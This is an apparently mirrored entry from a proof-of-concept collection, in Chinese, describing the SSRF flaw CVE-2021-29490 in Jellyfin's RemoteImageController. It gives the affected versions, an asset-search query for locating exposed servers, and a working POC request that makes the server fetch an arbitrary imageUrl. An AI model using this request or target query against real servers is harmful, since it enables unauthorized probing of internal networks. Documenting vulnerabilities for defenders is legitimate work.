mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-05 10:50:23 +00:00
51 lines
899 B
Markdown
51 lines
899 B
Markdown
|
# Jellyfin RemoteImageController.cs SSRF漏洞 CVE-2021-29490
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
Jellyfin RemoteImageController.cs 文件中存在SSRF漏洞，通过构造特殊的请求，探测内网信息
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
Jellyfin < 10.7.2
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 网络测绘
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
app="Jellyfin"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
在官方的更新文件中，查找到修改的文件
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
官方删除了某个方法
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
function getDisplayUrl(url, apiClient) {
|
|||
|
|
return apiClient.getUrl('Images/Remote', { imageUrl: url });
|
|||
|
|
}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
下载漏洞版本源码，查找该接口对应的文件
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
Jellyfin.Api/Controllers/RemoteImageController.cs
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
其中接收的参数为 imageUrl ，后续的代码片段存在SSRF漏洞
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
构造请求POC
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
/Images/Remote?imageUrl=http://www.baidu.com
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|